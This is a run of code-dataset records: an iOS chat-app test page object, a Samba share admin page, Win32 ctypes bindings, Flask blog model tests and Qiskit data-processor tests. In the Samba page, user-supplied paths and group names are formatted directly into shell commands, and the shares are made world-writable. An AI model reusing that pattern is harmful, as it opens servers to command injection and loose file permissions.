self.swipe_by_direction(self.__class__.__locators[\"最后一条文本消息\"], \"press\", 5)\n\n @TestLogger.log()\n def press_last_text_message_c(self):\n \"\"\"长按最后一条文本消息\"\"\"\n self.swipe_by_direction(self.__class__.__locators[\"最后一条文本消息_c\"], \"press\", 5)\n\n @TestLogger.log()\n def is_clear_the_input_box(self):\n \"\"\"输入框是否清空\"\"\"\n if self._is_element_present2(self.__class__.__locators['输入框']):\n el = self.get_element(self.__class__.__locators['输入框'])\n text = el.text\n if text is None:\n return True\n else:\n return False\n\n @TestLogger.log()\n def is_exists_text_by_input_box(self, text):\n \"\"\"输入框中是否存在指定文本\"\"\"\n if self._is_element_present2(self.__class__.__locators['输入框']):\n el = self.get_element(self.__class__.__locators['输入框'])\n message_text = el.text\n if text in message_text:\n return True\n else:\n return False\n\n @TestLogger.log()\n def get_message_record_number(self):\n \"\"\"获取消息记录数量\"\"\"\n if self._is_element_present2(self.__class__.__locators['消息记录']):\n els = self.get_elements(self.__class__.__locators['消息记录'])\n return len(els)\n else:\n return 0\n\n @TestLogger.log()\n def get_size_of_last_expression_message(self):\n \"\"\"获取最后一条表情消息表情的大小\"\"\"\n if self._is_element_present2(self.__class__.__locators['最后一条表情消息的表情']):\n el = self.get_element(self.__class__.__locators[\"最后一条表情消息的表情\"])\n rect = el.rect\n return rect[\"width\"], rect[\"height\"]\n\n @TestLogger.log()\n def press_file_by_type(self, file_type, index=-1):\n \"\"\"长按指定类型文件,默认选择最后一个\"\"\"\n locator = (MobileBy.IOS_PREDICATE, 'name ENDSWITH \"%s\"' % file_type)\n self.swipe_by_direction2(locator, \"press\", index, 5)\n\n @TestLogger.log()\n def click_delete_text(self):\n \"\"\"修改群名称清除文本\"\"\"\n self.click_element(self.__class__.__locators[\"修改群名称清除文本按钮\"])\n\n @TestLogger.log()\n def delete_text_button_is_enabled(self):\n \"\"\"清除文本按钮是否可点击\"\"\"\n return self._is_clickable(self.__class__.__locators['修改群名称清除文本按钮'])\n\n @TestLogger.log()\n def is_exists_element_by_text(self, text):\n \"\"\"是否存在指定元素\"\"\"\n return self._is_element_present2(self.__class__.__locators[text])\n\n\n\n @TestLogger.log()\n def is_enabled_element_by_text(self, text):\n \"\"\"指定元素是否可点击\"\"\"\n return self._is_enabled(self.__class__.__locators[text])\n\n @TestLogger.log()\n def click_element_by_text(self, text):\n \"\"\"点击指定元素\"\"\"\n self.click_element(self.__class__.__locators[text])\n\n @TestLogger.log()\n def get_element_value_by_text(self, text):\n \"\"\"获取指定元素的文本\"\"\"\n if self._is_element_present2(self.__class__.__locators[text]):\n el = self.get_element(self.__class__.__locators[text])\n return el.text\n\n @TestLogger.log()\n def click_my_group_name(self):\n \"\"\"点击我的群昵称\"\"\"\n self.click_element(self.__class__.__locators[\"我的群昵称\"])\n\n @TestLogger.log()\n def get_group_name_text(self):\n \"\"\"获取修改我的群昵称输入框文本\"\"\"\n text = self.get_element(self.__class__.__locators[\"我的群昵称输入框\"]).text\n return text\n\n @TestLogger.log()\n def is_exists_group_member_name(self, name):\n \"\"\"最后一条消息是否存在群成员昵称\"\"\"\n locator = (\n MobileBy.XPATH,\n '//XCUIElementTypeTable/XCUIElementTypeCell[last()]/XCUIElementTypeStaticText[@name=\"%s\"]' % name)\n return self._is_element_present2(locator)\n\n @TestLogger.log()\n def click_group_message(self):\n \"\"\"点击群短信\"\"\"\n self.click_element(self.__class__.__locators[\"群短信\"])\n\n @TestLogger.log()\n def is_element_exit_c(self, locator):\n \"\"\"指定元素是否存在\"\"\"\n try:\n if len(self.get_elements(self.__class__.__locators[locator])) > 0:\n return True\n else:\n return False\n except Exception:\n return False\n\n @TestLogger.log('获取控件文本')\n def get_element_text(self, locator):\n return self.get_text(self.__class__.__locators[locator])\n\n @TestLogger.log()\n def press_element_by_text(self, text):\n \"\"\"长按指定元素\"\"\"\n if self._is_element_present2(self.__class__.__locators[text]):\n self.swipe_by_direction(self.__class__.__locators[text], \"press\", 5)\n\n @TestLogger.log()\n def press_element_by_text2(self, text, index=-1):\n \"\"\"长按指定元素,默认选择最后一个\"\"\"\n if self._is_element_present2(self.__class__.__locators[text]):\n self.swipe_by_direction2(self.__class__.__locators[text], \"press\", index, 5)\n\n @TestLogger.log('判断消息记录是否存在消息记录')\n def is_element_present_mess(self):\n return self._is_element_present(self.__class__.__locators['我的电脑-聊天记录'])","sub_path":"pages/GroupChat.py","file_name":"GroupChat.py","file_ext":"py","file_size_in_byte":47689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"444113853","text":"from nevow import rend, loaders, tags\nfrom twisted.application import service, internet, strports\nfrom twisted.web import server, static\nfrom twisted.python import failure\nfrom nevow import inevow, rend, appserver, static, guard, url, loaders, stan\nfrom nevow.taglibrary import tabbedPane\nimport time, formal, LDAP, os\nimport Tree, Settings\nfrom Core import PageHelpers, confparse, Utils, WebUtils\nfrom Pages import Tools\n\nfrom twisted.python import log\n\ndef reloadSamba():\n def cont(_):\n return WebUtils.system(\"/etc/init.d/samba restart\")\n\n return WebUtils.system(Settings.BaseDir+'/configurator --samba').addBoth(cont)\n\nclass Shares(PageHelpers.DataTable):\n def getTable(self):\n headings = [\n ('Share Name', 'share'), \n ('Shared Path', 'path'), \n ('Comment', 'comment'), \n ('Writable', 'writable'), \n ('Public', 'public'),\n ('Permission', 'group')\n ]\n sharesconf = self.sysconf.SambaShares\n\n shares = []\n\n for share in sharesconf.keys():\n if share==\"global\":\n continue\n\n row = [share]\n for i in ['path', 'comment', 'writable', 'public','valid users']:\n sdata = sharesconf[share].get(i, \"\")\n if i == 'valid users':\n sdata = sdata.replace('@', '').replace('\"', '').replace(',root', '').strip()\n\n row.append(sdata)\n\n shares.append(row)\n\n return headings, shares\n\n def addForm(self, form):\n form.addField('share', formal.String(required=True), label = \"Shared Folder\")\n form.addField('path', formal.String(required=True), label = \"Shared Path\", description = \"Path to be shared\")\n form.addField('comment', formal.String(required=True), label = \"Comment\")\n\n form.addField('public', formal.Boolean(), label = \"Public\")\n form.addField('writable', formal.Boolean(), label = \"Writable\")\n\n l = LDAP.createLDAPConnection(Settings.LDAPServer, 'o='+Settings.LDAPBase, Settings.LDAPManager, Settings.LDAPPass)\n dc = \"%s,o=%s\" % (LDAP.domainToDC(Settings.defaultDomain), Settings.LDAPBase)\n\n groups = LDAP.getGroups(l, dc)\n groups.sort()\n \n form.addField('group', formal.String(), \n formal.widgetFactory(formal.SelectChoice, options = [(i[1],i[1]) for i in groups]), \n label = \"Required Group\")\n \n def addAction(self, data):\n if \"/\" in data['path']:\n if data['path'][0] == \"/\": # Starts with a /\n path = data['path']\n else:\n path = \"/var/lib/samba/data/%s\" % data['path']\n else:\n path = '/var/lib/samba/data/%s' % data['path']\n \n share = {} #[%s]\\n\" % (data['share'],)\n share[\"path\"] = path\n share[\"comment\"] = data['comment']\n share[\"create mode\"] = '664'\n share[\"directory mode\"] = '775'\n share[\"nt acl support\"] = 'yes'\n WebUtils.system('mkdir -p %s' % path)\n \n if data['public']:\n share[\"public\"] = \"yes\"\n\n if data['writable']:\n share[\"writable\"] = \"yes\"\n\n if data['group']:\n share[\"valid users\"] = '@\"%s\",root' % data['group']\n WebUtils.system('chown -R root:\"%s\" %s' % (data['group'], path))\n\n WebUtils.system('chmod a+rwx %s' % path)\n WebUtils.system('chmod -R a+rw %s' % path)\n\n shares = self.sysconf.SambaShares\n shares[data['share'].encode(\"ascii\", \"replace\")] = share\n self.sysconf.SambaShares = shares\n \n def deleteItem(self, item):\n shares = self.getTable()[1]\n\n target = shares[item]\n\n name = target[0]\n\n shares = self.sysconf.SambaShares\n del shares[name]\n self.sysconf.SambaShares = shares\n\n def returnAction(self, data):\n Utils.log.msg('%s added file share %s' % (self.avatarId.username, repr(data)))\n return reloadSamba().addBoth(lambda _: url.root.child('Samba'))\n\nclass Page(Tools.Page):\n def __init__(self, *a, **kw):\n Tools.Page.__init__(self, *a, **kw)\n self.shareTable = Shares(self, 'Shares', 'share')\n\n def render_content(self, ctx, data):\n \n return ctx.tag[\n tags.h3[tags.img(src=\"/images/sharefold.png\"), \" Shared folders\"],\n self.shareTable.applyTable(self)\n ]\n","sub_path":"tums/trunk/release/Pages/Samba.py","file_name":"Samba.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"502305960","text":"from ctypes import POINTER\nfrom ctypes import WINFUNCTYPE\nfrom ctypes import c_int\nfrom ctypes import c_int64\nfrom ctypes import c_void_p\nfrom ctypes import windll\nfrom ctypes.wintypes import ATOM\nfrom ctypes.wintypes import BOOL\nfrom ctypes.wintypes import DWORD\nfrom ctypes.wintypes import HANDLE\nfrom ctypes.wintypes import HBITMAP\nfrom ctypes.wintypes import HDC\nfrom ctypes.wintypes import HGDIOBJ\nfrom ctypes.wintypes import HINSTANCE\nfrom ctypes.wintypes import HMENU\nfrom ctypes.wintypes import HMODULE\nfrom ctypes.wintypes import HWND\nfrom ctypes.wintypes import LPARAM\nfrom ctypes.wintypes import LPCWSTR\nfrom ctypes.wintypes import LPPOINT\nfrom ctypes.wintypes import LPRECT\nfrom ctypes.wintypes import RECT\nfrom ctypes.wintypes import UINT\nfrom ctypes.wintypes import WPARAM\n\nINT_PTR = c_int64\n\nDLGPROC = WINFUNCTYPE(INT_PTR, HWND, UINT, WPARAM, LPARAM)\n\n# Window Styles\nWS_OVERLAPPED = 0x00000000\nWS_POPUP = 0x80000000\nWS_CHILD = 0x40000000\nWS_MINIMIZE = 0x20000000\nWS_VISIBLE = 0x10000000\nWS_DISABLED = 0x08000000\nWS_CLIPSIBLINGS = 0x04000000\nWS_CLIPCHILDREN = 0x02000000\nWS_MAXIMIZE = 0x01000000\nWS_CAPTION = 0x00C00000\nWS_BORDER = 0x00800000\nWS_DLGFRAME = 0x00400000\nWS_VSCROLL = 0x00200000\nWS_HSCROLL = 0x00100000\nWS_SYSMENU = 0x00080000\nWS_THICKFRAME = 0x00040000\nWS_GROUP = 0x00020000\nWS_TABSTOP = 0x00010000\nWS_MINIMIZEBOX = 0x00020000\nWS_MAXIMIZEBOX = 0x00010000\nWS_TILED = WS_OVERLAPPED\nWS_ICONIC = WS_MINIMIZE\nWS_SIZEBOX = WS_THICKFRAME\n\n# Extended Window Styles\nWS_EX_DLGMODALFRAME = 0x00000001\nWS_EX_NOPARENTNOTIFY = 0x00000004\nWS_EX_TOPMOST = 0x00000008\nWS_EX_ACCEPTFILES = 0x00000010\nWS_EX_TRANSPARENT = 0x00000020\nWS_EX_MDICHILD = 0x00000040\nWS_EX_TOOLWINDOW = 0x00000080\nWS_EX_WINDOWEDGE = 0x00000100\nWS_EX_CLIENTEDGE = 0x00000200\nWS_EX_CONTEXTHELP = 0x00000400\nWS_EX_RIGHT = 0x00001000\nWS_EX_LEFT = 0x00000000\nWS_EX_RTLREADING = 0x00002000\nWS_EX_LTRREADING = 0x00000000\nWS_EX_LEFTSCROLLBAR = 0x00004000\nWS_EX_RIGHTSCROLLBAR = 0x00000000\nWS_EX_CONTROLPARENT = 0x00010000\nWS_EX_STATICEDGE = 0x00020000\nWS_EX_APPWINDOW = 0x00040000\nWS_EX_LAYERED = 0x00080000\nWS_EX_NOINHERITLAYOUT = 0x00100000\nWS_EX_NOREDIRECTIONBITMAP = 0x00200000\nWS_EX_LAYOUTRTL = 0x00400000\nWS_EX_COMPOSITED = 0x02000000\nWS_EX_NOACTIVATE = 0x08000000\nWS_EX_PALETTEWINDOW = WS_EX_WINDOWEDGE | WS_EX_TOOLWINDOW | WS_EX_TOPMOST\n\n# Window Messages\nWM_CLOSE = 0x0010\nWM_CONTEXTMENU = 0x007B\nWM_KEYDOWN = 0x0100\nWM_INITDIALOG = 0x0110\nWM_COMMAND = 0x0111\n\n# Dialog Styles\nDS_SETFONT = 0x0040\nDS_MODALFRAME = 0x0080\nDS_CENTER = 0x0800\nDS_CENTERMOUSE = 0x1000\n\n# Dialog Box Command IDs\nIDOK = 1\nIDCANCEL = 2\nIDABORT = 3\nIDRETRY = 4\nIDIGNORE = 5\nIDYES = 6\nIDNO = 7\nIDCLOSE = 8\nIDHELP = 9\nIDTRYAGAIN = 10\nIDCONTINUE = 11\n\n# Static Control Constants\nSS_LEFT = 0x00000000\nSS_CENTER = 0x00000001\nSS_RIGHT = 0x00000002\nSS_ICON = 0x00000003\nSS_BLACKRECT = 0x00000004\nSS_GRAYRECT = 0x00000005\nSS_WHITERECT = 0x00000006\nSS_BLACKFRAME = 0x00000007\nSS_GRAYFRAME = 0x00000008\nSS_WHITEFRAME = 0x00000009\nSS_USERITEM = 0x0000000A\nSS_SIMPLE = 0x0000000B\nSS_LEFTNOWORDWRAP = 0x0000000C\nSS_OWNERDRAW = 0x0000000D\nSS_BITMAP = 0x0000000E\nSS_ENHMETAFILE = 0x0000000F\nSS_ETCHEDHORZ = 0x00000010\nSS_ETCHEDVERT = 0x00000011\nSS_ETCHEDFRAME = 0x00000012\nSS_TYPEMASK = 0x0000001F\nSS_REALSIZECONTROL = 0x00000040\nSS_NOPREFIX = 0x00000080\nSS_NOTIFY = 0x00000100\nSS_CENTERIMAGE = 0x00000200\nSS_RIGHTJUST = 0x00000400\nSS_REALSIZEIMAGE = 0x00000800\nSS_SUNKEN = 0x00001000\nSS_EDITCONTROL = 0x00002000\nSS_ENDELLIPSIS = 0x00004000\nSS_PATHELLIPSIS = 0x00008000\nSS_WORDELLIPSIS = 0x0000C000\nSS_ELLIPSISMASK = 0x0000C000\n\n# Edit Control Styles\nES_LEFT = 0x0000\nES_CENTER = 0x0001\nES_RIGHT = 0x0002\nES_MULTILINE = 0x0004\nES_UPPERCASE = 0x0008\nES_LOWERCASE = 0x0010\nES_PASSWORD = 0x0020\nES_AUTOVSCROLL = 0x0040\nES_AUTOHSCROLL = 0x0080\nES_NOHIDESEL = 0x0100\nES_OEMCONVERT = 0x0400\nES_READONLY = 0x0800\nES_WANTRETURN = 0x1000\nES_NUMBER = 0x2000\n\n# Menu flags\nMF_POPUP = 0x00000010\nMF_HILITE = 0x00000080\nMF_SEPARATOR = 0x00000800\n\n# SetWindowPos Flags\nSWP_NOSIZE = 0x0001\nSWP_NOMOVE = 0x0002\nSWP_NOZORDER = 0x0004\nSWP_NOREDRAW = 0x0008\nSWP_NOACTIVATE = 0x0010\nSWP_FRAMECHANGED = 0x0020\nSWP_SHOWWINDOW = 0x0040\nSWP_HIDEWINDOW = 0x0080\nSWP_NOCOPYBITS = 0x0100\nSWP_NOOWNERZORDER = 0x0200\nSWP_NOSENDCHANGING = 0x0400\nSWP_DEFERERASE = 0x2000\nSWP_ASYNCWINDOWPOS = 0x4000\n\n# DPI_AWARENESS_CONTEXT handle\nDPI_AWARENESS_CONTEXT_UNAWARE = -1\nDPI_AWARENESS_CONTEXT_SYSTEM_AWARE = -2\nDPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE = -3\nDPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2 = -4\nDPI_AWARENESS_CONTEXT_UNAWARE_GDISCALED = -5\n\n_AdjustWindowRectExForDpi = windll.user32.AdjustWindowRectExForDpi\n_AdjustWindowRectExForDpi.argtypes = (LPRECT, DWORD, BOOL, DWORD, UINT)\n_AdjustWindowRectExForDpi.restype = BOOL\n\n_BitBlt = windll.gdi32.BitBlt\n_BitBlt.argtypes = (HDC, c_int, c_int, c_int, c_int, HDC, c_int, c_int, DWORD)\n_BitBlt.restype = BOOL\n\n_ClientToScreen = windll.user32.ClientToScreen\n_ClientToScreen.argtypes = (HWND, LPPOINT)\n_ClientToScreen.restype = BOOL\n\n_CreateCompatibleDC = windll.gdi32.CreateCompatibleDC\n_CreateCompatibleDC.argtypes = (HDC,)\n_CreateCompatibleDC.restype = HDC\n\n_CreateDIBSection = windll.gdi32.CreateDIBSection\n_CreateDIBSection.argtypes = (HDC, c_void_p, UINT, c_void_p, HANDLE, DWORD)\n_CreateDIBSection.restype = HBITMAP\n\n_DeleteDC = windll.gdi32.DeleteDC\n_DeleteDC.argtypes = (HDC,)\n_DeleteDC.restype = BOOL\n\n_DeleteObject = windll.gdi32.DeleteObject\n_DeleteObject.argtypes = (HGDIOBJ,)\n_DeleteObject.restype = BOOL\n\n_DestroyMenu = windll.user32.DestroyMenu\n_DestroyMenu.argtypes = (HMENU,)\n_DestroyMenu.restype = BOOL\n\n_DialogBoxIndirectParamW = windll.user32.DialogBoxIndirectParamW\n_DialogBoxIndirectParamW.argtypes = (HINSTANCE, c_void_p, HWND, c_void_p, LPARAM)\n_DialogBoxIndirectParamW.restype = INT_PTR\n\n_EndDialog = windll.user32.EndDialog\n_EndDialog.argtypes = (HWND, INT_PTR)\n_EndDialog.restype = BOOL\n\n_FindWindowW = windll.user32.FindWindowW\n_FindWindowW.argtypes = (LPCWSTR, LPCWSTR)\n_FindWindowW.restype = HWND\n\n_GetClassInfoExW = windll.user32.GetClassInfoExW\n_GetClassInfoExW.argtypes = (HINSTANCE, LPCWSTR, c_void_p)\n_GetClassInfoExW.restype = BOOL\n\n_GetClientRect = windll.user32.GetClientRect\n_GetClientRect.argtypes = (HWND, LPRECT)\n_GetClientRect.restype = BOOL\n\n_GetDC = windll.user32.GetDC\n_GetDC.argtypes = (HWND,)\n_GetDC.restype = HDC\n\n_GetDesktopWindow = windll.user32.GetDesktopWindow\n_GetDesktopWindow.restype = HWND\n\n_GetDlgItem = windll.user32.GetDlgItem\n_GetDlgItem.argtypes = (HWND, c_int)\n_GetDlgItem.restype = HWND\n\n_GetDlgItemInt = windll.user32.GetDlgItemInt\n_GetDlgItemInt.argtypes = (HWND, c_int, POINTER(BOOL), BOOL)\n_GetDlgItemInt.restype = UINT\n\n_GetDpiForWindow = windll.user32.GetDpiForWindow\n_GetDpiForWindow.argtypes = (HWND,)\n_GetDpiForWindow.restype = UINT\n\n_GetModuleHandleW = windll.kernel32.GetModuleHandleW\n_GetModuleHandleW.argtypes = (LPCWSTR,)\n_GetModuleHandleW.restype = HMODULE\n\n_GetParent = windll.user32.GetParent\n_GetParent.argtypes = (HWND,)\n_GetParent.restype = HWND\n\n_GetSubMenu = windll.user32.GetSubMenu\n_GetSubMenu.argtypes = (HMENU, c_int)\n_GetSubMenu.restype = HMENU\n\n_GetWindowDC = windll.user32.GetWindowDC\n_GetWindowDC.argtypes = (HWND,)\n_GetWindowDC.restype = HDC\n\n_GetWindowRect = windll.user32.GetWindowRect\n_GetWindowRect.argtypes = (HWND, LPRECT)\n_GetWindowRect.restype = BOOL\n\n_LoadMenuIndirectW = windll.user32.LoadMenuIndirectW\n_LoadMenuIndirectW.argtypes = (c_void_p,)\n_LoadMenuIndirectW.restype = HMENU\n\n_RegisterClassExW = windll.user32.RegisterClassExW\n_RegisterClassExW.argtypes = (c_void_p,)\n_RegisterClassExW.restype = ATOM\n\n_ReleaseDC = windll.user32.ReleaseDC\n_ReleaseDC.argtypes = (HWND, HDC)\n_ReleaseDC.restype = c_int\n\n_ScreenToClient = windll.user32.ScreenToClient\n_ScreenToClient.argtypes = (HWND, LPPOINT)\n_ScreenToClient.restype = BOOL\n\n_SelectObject = windll.gdi32.SelectObject\n_SelectObject.argtypes = (HDC, HGDIOBJ)\n_SelectObject.restype = HGDIOBJ\n\n_SetDlgItemInt = windll.user32.SetDlgItemInt\n_SetDlgItemInt.argtypes = (HWND, c_int, UINT, BOOL)\n_SetDlgItemInt.restype = BOOL\n\n_SetFocus = windll.user32.SetFocus\n_SetFocus.argtypes = (HWND,)\n_SetFocus.restype = HWND\n\n_SetThreadDpiAwarenessContext = windll.user32.SetThreadDpiAwarenessContext\n_SetThreadDpiAwarenessContext.argtypes = (c_void_p,)\n_SetThreadDpiAwarenessContext.restype = c_void_p\n\n_SetWindowPos = windll.user32.SetWindowPos\n_SetWindowPos.argtypes = (HWND, HWND, c_int, c_int, c_int, c_int, UINT)\n_SetWindowPos.restype = BOOL\n\n_SetWindowTextW = windll.user32.SetWindowTextW\n_SetWindowTextW.argtypes = (HWND, LPCWSTR)\n_SetWindowTextW.restype = BOOL\n\n_TrackPopupMenuEx = windll.user32.TrackPopupMenuEx\n_TrackPopupMenuEx.argtypes = (HMENU, UINT, c_int, c_int, HWND, POINTER(RECT))\n_TrackPopupMenuEx.restype = BOOL\n","sub_path":"transparentwindow/_win.py","file_name":"_win.py","file_ext":"py","file_size_in_byte":8736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"472762742","text":"import unittest\nimport mock \nfrom mock import patch\nfrom flaskblog.models import Post\nfrom flask import current_app\n\n\nclass PostModelTestCase(unittest.TestCase):\n def setUp(self):\n self.db = current_app.config['db']\n self.db.create_all()\n\n def tearDown(self):\n self.db.drop_all()\n\n def test_add_one_post(self):\n \"\"\"Test adding a record and retrieving all fields.\"\"\"\n Post.add('testfile.md', 'Test title','123','text1','tag1,tag2')\n self.assertEquals(1, len(Post.query.filter_by(filename='testfile.md').all()))\n\n p = Post.query.filter_by(filename='testfile.md').first()\n self.assertIsNotNone(p)\n self.assertEquals(1, p.id)\n self.assertEquals('testfile.md', p.filename)\n self.assertEquals('Test title', p.title)\n self.assertEquals(p.createTime, p.updateTime)\n self.assertEquals(123, p.createTime)\n self.assertEquals('test-title', p.urlslug)\n self.assertEquals('text1', p.text)\n self.assertEquals('tag1,tag2', p.tags)\n\n def test_update_post(self):\n \"\"\"Test adding a record and retrieving all fields.\"\"\"\n Post.add('testfile.md', 'Original Title', 123,'text1','tag1')\n p = Post.query.filter_by(filename='testfile.md').first()\n self.assertEquals('Original Title', p.title)\n \n Post.update('testfile.md','New Title',124,'textNew','tagsNew')\n\n p = Post.query.filter_by(filename='testfile.md').first()\n self.assertEquals('New Title', p.title)\n self.assertEquals(124, p.updateTime)\n self.assertEquals('textNew', p.text)\n self.assertEquals('tagsNew', p.tags)\n\n def helper_add_posts(self):\n Post.add('testfile1.md','1 Title','123','text1','tag111')\n Post.add('testfile2.md','2 Title','124','post text 2','tag2,tag222')\n Post.add('testfile3.md','3 Title','125','post text 3','tag3,tag222')\n Post.add('testfile4.md','4 Title','126','post text 4','tag4,tag222')\n Post.add('testfile5.md','5 Title','127','post text 5','tag4,tag222')\n\n def test_retrieve_first_page(self):\n \"\"\"Test retrieving a page of posts.\"\"\"\n self.helper_add_posts()\n\n results, _ = Post.getPosts()\n self.assertEquals('testfile5.md', results[0].filename)\n self.assertEquals('testfile4.md', results[1].filename)\n self.assertEquals('testfile3.md', results[2].filename)\n\n def test_retrieve_second_page(self):\n \"\"\"Test retrieving 2nd page of posts.\"\"\"\n self.helper_add_posts()\n\n results, _ = Post.getPosts(page=1, numPerPage=2)\n self.assertEquals(2, len(results))\n self.assertEquals('testfile3.md', results[0].filename)\n self.assertEquals('testfile2.md', results[1].filename)\n\n def test_get_post_by_slug(self):\n Post.add('testfile.md', 'Test title','123','text1','tag1')\n result = Post.getPostByField(slug='test-title')\n self.assertEquals(result, Post.query.filter_by(filename='testfile.md').first())\n\n def test_delete_post(self):\n Post.add('testfile.md', 'Test title','123','text1','tag1')\n record = Post.getPostByField(filename='testfile.md')\n self.assertEquals('testfile.md', record.filename)\n\n Post.deletePost(filename='testfile.md')\n record = Post.getPostByField(filename='testfile.md')\n self.assertEquals(None, record)\n\n def test_delete_all(self):\n Post.add('testfile.md', 'Test title','123','text1','tag1,tag2')\n results, _ = Post.getPosts()\n self.assertEquals(1, len(results))\n\n Post.deleteAll()\n results, _ = Post.getPosts()\n self.assertEquals(0, len(results))\n","sub_path":"flaskblog/tests/test_post_model.py","file_name":"test_post_model.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"65560934","text":"# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2021.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\n\"\"\"Data processor tests.\"\"\"\n\nimport numpy as np\n\nfrom qiskit.result.models import ExperimentResultData, ExperimentResult\nfrom qiskit.result import Result\nfrom qiskit.test import QiskitTestCase\nfrom qiskit.qobj.common import QobjExperimentHeader\nfrom qiskit_experiments import ExperimentData\nfrom qiskit_experiments.base_experiment import BaseExperiment\nfrom qiskit_experiments.data_processing.data_processor import DataProcessor\nfrom qiskit_experiments.data_processing.exceptions import DataProcessorError\nfrom qiskit_experiments.data_processing.nodes import (\n ToReal,\n ToImag,\n Probability,\n)\n\n\nclass FakeExperiment(BaseExperiment):\n \"\"\"Fake experiment class for testing.\"\"\"\n\n def __init__(self):\n \"\"\"Initialise the fake experiment.\"\"\"\n self._type = None\n super().__init__((0,), \"fake_test_experiment\")\n\n def circuits(self, backend=None, **circuit_options):\n \"\"\"Fake circuits.\"\"\"\n return []\n\n\nclass DataProcessorTest(QiskitTestCase):\n \"\"\"Class to test DataProcessor.\"\"\"\n\n def setUp(self):\n \"\"\"Setup variables used for testing.\"\"\"\n self.base_result_args = dict(\n backend_name=\"test_backend\",\n backend_version=\"1.0.0\",\n qobj_id=\"id-123\",\n job_id=\"job-123\",\n success=True,\n )\n\n mem1 = ExperimentResultData(\n memory=[\n [[1103260.0, -11378508.0], [2959012.0, -16488753.0]],\n [[442170.0, -19283206.0], [-5279410.0, -15339630.0]],\n [[3016514.0, -14548009.0], [-3404756.0, -16743348.0]],\n ]\n )\n\n mem2 = ExperimentResultData(\n memory=[\n [[5131962.0, -16630257.0], [4438870.0, -13752518.0]],\n [[3415985.0, -16031913.0], [2942458.0, -15840465.0]],\n [[5199964.0, -14955998.0], [4030843.0, -14538923.0]],\n ]\n )\n\n header1 = QobjExperimentHeader(\n clbit_labels=[[\"meas\", 0], [\"meas\", 1]],\n creg_sizes=[[\"meas\", 2]],\n global_phase=0.0,\n memory_slots=2,\n metadata={\"experiment_type\": \"fake_test_experiment\", \"x_values\": 0.0},\n )\n\n header2 = QobjExperimentHeader(\n clbit_labels=[[\"meas\", 0], [\"meas\", 1]],\n creg_sizes=[[\"meas\", 2]],\n global_phase=0.0,\n memory_slots=2,\n metadata={\"experiment_type\": \"fake_test_experiment\", \"x_values\": 1.0},\n )\n\n res1 = ExperimentResult(shots=3, success=True, meas_level=1, data=mem1, header=header1)\n res2 = ExperimentResult(shots=3, success=True, meas_level=1, data=mem2, header=header2)\n\n self.result_lvl1 = Result(results=[res1, res2], **self.base_result_args)\n\n raw_counts = {\"0x0\": 4, \"0x2\": 6}\n data = ExperimentResultData(counts=dict(**raw_counts))\n header = QobjExperimentHeader(\n metadata={\"experiment_type\": \"fake_test_experiment\"},\n clbit_labels=[[\"c\", 0], [\"c\", 1]],\n creg_sizes=[[\"c\", 2]],\n n_qubits=2,\n memory_slots=2,\n )\n res = ExperimentResult(shots=9, success=True, meas_level=2, data=data, header=header)\n self.exp_data_lvl2 = ExperimentData(FakeExperiment())\n self.exp_data_lvl2.add_data(Result(results=[res], **self.base_result_args))\n\n super().setUp()\n\n def test_empty_processor(self):\n \"\"\"Check that a DataProcessor without steps does nothing.\"\"\"\n data_processor = DataProcessor(\"counts\")\n\n datum = data_processor(self.exp_data_lvl2.data[0])\n self.assertEqual(datum, {\"00\": 4, \"10\": 6})\n\n datum, history = data_processor.call_with_history(self.exp_data_lvl2.data[0])\n self.assertEqual(datum, {\"00\": 4, \"10\": 6})\n self.assertEqual(history, [])\n\n def test_to_real(self):\n \"\"\"Test scaling and conversion to real part.\"\"\"\n processor = DataProcessor(\"memory\", [ToReal(scale=1e-3)])\n\n exp_data = ExperimentData(FakeExperiment())\n exp_data.add_data(self.result_lvl1)\n\n new_data = processor(exp_data.data[0])\n\n expected_old = {\n \"memory\": [\n [[1103260.0, -11378508.0], [2959012.0, -16488753.0]],\n [[442170.0, -19283206.0], [-5279410.0, -15339630.0]],\n [[3016514.0, -14548009.0], [-3404756.0, -16743348.0]],\n ],\n \"metadata\": {\"experiment_type\": \"fake_test_experiment\", \"x_values\": 0.0},\n }\n\n expected_new = np.array([[1103.26, 2959.012], [442.17, -5279.41], [3016.514, -3404.7560]])\n\n self.assertEqual(exp_data.data[0], expected_old)\n self.assertTrue(np.allclose(new_data, expected_new))\n\n # Test that we can call with history.\n new_data, history = processor.call_with_history(exp_data.data[0])\n\n self.assertEqual(exp_data.data[0], expected_old)\n self.assertTrue(np.allclose(new_data, expected_new))\n\n self.assertEqual(history[0][0], \"ToReal\")\n self.assertTrue(np.allclose(history[0][1], expected_new))\n\n def test_to_imag(self):\n \"\"\"Test that we can average the data.\"\"\"\n processor = DataProcessor(\"memory\")\n processor.append(ToImag(scale=1e-3))\n\n exp_data = ExperimentData(FakeExperiment())\n exp_data.add_data(self.result_lvl1)\n\n new_data = processor(exp_data.data[0])\n\n expected_old = {\n \"memory\": [\n [[1103260.0, -11378508.0], [2959012.0, -16488753.0]],\n [[442170.0, -19283206.0], [-5279410.0, -15339630.0]],\n [[3016514.0, -14548009.0], [-3404756.0, -16743348.0]],\n ],\n \"metadata\": {\"experiment_type\": \"fake_test_experiment\", \"x_values\": 0.0},\n }\n\n expected_new = np.array(\n [\n [-11378.508, -16488.753],\n [-19283.206000000002, -15339.630000000001],\n [-14548.009, -16743.348],\n ]\n )\n\n self.assertEqual(exp_data.data[0], expected_old)\n self.assertTrue(np.allclose(new_data, expected_new))\n\n # Test that we can call with history.\n new_data, history = processor.call_with_history(exp_data.data[0])\n self.assertEqual(exp_data.data[0], expected_old)\n self.assertTrue(np.allclose(new_data, expected_new))\n\n 